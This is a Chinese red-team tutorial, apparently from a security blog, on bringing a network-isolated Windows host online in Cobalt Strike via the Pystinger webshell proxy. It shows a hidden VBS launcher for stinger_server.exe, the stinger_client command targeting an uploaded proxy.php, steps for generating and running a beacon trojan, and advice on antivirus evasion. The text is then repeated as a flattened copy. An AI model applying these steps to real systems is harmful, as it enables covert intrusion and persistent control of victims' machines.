『红蓝对抗』不出网机器如何上线 CS?
字数 1669 2025-08-13 21:33:25

不出网机器上线Cobalt Strike的Pystinger工具使用指南

0x00 背景介绍

在渗透测试过程中,经常会遇到目标机器只做了端口映射但无法连接外网的情况。这种情况下,常规方法无法实现Cobalt Strike(CS)上线操作。Pystinger工具可以解决这个问题,它通过webshell实现内网SOCKS4代理,使目标机器在不出网的情况下也能上线CS。

0x01 工具准备

  1. 下载Pystinger工具包(包含以下组件):

    • stinger_server.exe(服务端,用于目标机器)
    • stinger_client(客户端,用于TeamServer)
    • proxy.php(webshell代理脚本)
  2. 确认目标系统环境:

    • Windows版本(本文以Windows为例,Linux版本原理类似)
    • 网络环境(确认目标机器内网可达性)

0x02 实施步骤

1. 上传文件到目标服务器

将以下文件上传到目标服务器:

  • 对应版本的proxy.php webshell脚本
  • stinger_server.exe服务端程序

2. 启动服务端

在目标机器上创建并执行stinger_server.vbs文件,内容如下:

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide

说明:

  • 将路径"D:\XXXXX"替换为实际存放stinger_server.exe的路径
  • "0.0.0.0"表示监听所有网络接口

3. 配置客户端

将stinger_client上传到TeamServer服务器,执行以下命令:

chmod +x stinger_client
./stinger_client -w http://x.x.x.x/proxy.php -l 0.0.0.0 -p 60000

参数说明:

  • -w 指定proxy.php的URL地址
  • -l 指定监听地址(0.0.0.0表示所有接口)
  • -p 指定监听端口(60000)

4. 配置Cobalt Strike监听器

在CS中新建监听器,设置如下:

  • 监听地址:目标机器的内网IP
  • 端口:默认60020(确保与stinger_server配置一致)

注意:TeamServer服务器和执行stinger_client的应为同一台服务器

5. 生成并执行木马

使用配置好的监听器生成木马,上传到目标服务器并执行。成功执行后,CS将显示新上线的主机。

0x03 原理分析

数据流向分析(目标机器端)

  1. 外部访问proxy.php的流量进入目标主机80端口
  2. proxy.php基于httpd服务发起新连接,数据进入PID 3784的进程控制
  3. 本机60793端口对60010端口进行连接(60010端口由stinger_server.exe监听)
  4. stinger_server.exe使用60020端口与artifact.exe(CS beacon)进行交互

数据流向分析(TeamServer端)

  1. stinger_client作为桥梁连接TeamServer和被控主机
  2. 上线主机的连接由stinger_client发起
  3. 流量通过指定的端口(如示例中的5000端口)进行通信

0x04 关键点总结

  1. 网络架构要求

    • 目标机器必须能访问TeamServer所在网络(通过端口映射等方式)
    • TeamServer需要能访问proxy.php所在web服务
  2. 端口使用

    • proxy.php使用web服务端口(通常80/443)
    • stinger_client默认监听60000
    • stinger_server与CS beacon通信使用60020
  3. 进程关系

    • httpd.exe处理初始web请求
    • stinger_server.exe建立代理通道
    • artifact.exe是CS的beacon进程
  4. 跨平台支持

    • 工具支持Windows和Linux系统
    • 不同系统需使用对应版本的程序

0x05 注意事项

  1. 确保所有组件版本匹配
  2. 防火墙设置需允许相关端口通信
  3. 代理脚本(proxy.php)需要根据实际web环境调整
  4. 工具运行可能会被安全软件检测,需做好免杀处理
  5. 实际渗透测试中需获得合法授权

通过以上步骤和原理分析,可以在不出网的环境中成功建立Cobalt Strike的通信通道,实现对内网环境的进一步渗透测试。

不出网机器上线Cobalt Strike的Pystinger工具使用指南 0x00 背景介绍 在渗透测试过程中,经常会遇到目标机器只做了端口映射但无法连接外网的情况。这种情况下,常规方法无法实现Cobalt Strike(CS)上线操作。Pystinger工具可以解决这个问题,它通过webshell实现内网SOCKS4代理,使目标机器在不出网的情况下也能上线CS。 0x01 工具准备 下载Pystinger工具包(包含以下组件): stinger_ server.exe(服务端,用于目标机器) stinger_ client(客户端,用于TeamServer) proxy.php(webshell代理脚本) 确认目标系统环境: Windows版本(本文以Windows为例,Linux版本原理类似) 网络环境(确认目标机器内网可达性) 0x02 实施步骤 1. 上传文件到目标服务器 将以下文件上传到目标服务器: 对应版本的proxy.php webshell脚本 stinger_ server.exe服务端程序 2. 启动服务端 在目标机器上创建并执行stinger_ server.vbs文件,内容如下: 说明: 将路径"D:\XXXXX\"替换为实际存放stinger_ server.exe的路径 "0.0.0.0"表示监听所有网络接口 3. 配置客户端 将stinger_ client上传到TeamServer服务器,执行以下命令: 参数说明: -w 指定proxy.php的URL地址 -l 指定监听地址(0.0.0.0表示所有接口) -p 指定监听端口(60000) 4. 配置Cobalt Strike监听器 在CS中新建监听器,设置如下: 监听地址:目标机器的内网IP 端口:默认60020(确保与stinger_ server配置一致) 注意:TeamServer服务器和执行stinger_ client的应为同一台服务器 5. 生成并执行木马 使用配置好的监听器生成木马,上传到目标服务器并执行。成功执行后,CS将显示新上线的主机。 0x03 原理分析 数据流向分析(目标机器端) 外部访问proxy.php的流量进入目标主机80端口 proxy.php基于httpd服务发起新连接,数据进入PID 3784的进程控制 本机60793端口对60010端口进行连接(60010端口由stinger_ server.exe监听) stinger_ server.exe使用60020端口与artifact.exe(CS beacon)进行交互 数据流向分析(TeamServer端) stinger_ client作为桥梁连接TeamServer和被控主机 上线主机的连接由stinger_ client发起 流量通过指定的端口(如示例中的5000端口)进行通信 0x04 关键点总结 网络架构要求 : 目标机器必须能访问TeamServer所在网络(通过端口映射等方式) TeamServer需要能访问proxy.php所在web服务 端口使用 : proxy.php使用web服务端口(通常80/443) stinger_ client默认监听60000 stinger_ server与CS beacon通信使用60020 进程关系 : httpd.exe处理初始web请求 stinger_ server.exe建立代理通道 artifact.exe是CS的beacon进程 跨平台支持 : 工具支持Windows和Linux系统 不同系统需使用对应版本的程序 0x05 注意事项 确保所有组件版本匹配 防火墙设置需允许相关端口通信 代理脚本(proxy.php)需要根据实际web环境调整 工具运行可能会被安全软件检测,需做好免杀处理 实际渗透测试中需获得合法授权 通过以上步骤和原理分析,可以在不出网的环境中成功建立Cobalt Strike的通信通道,实现对内网环境的进一步渗透测试。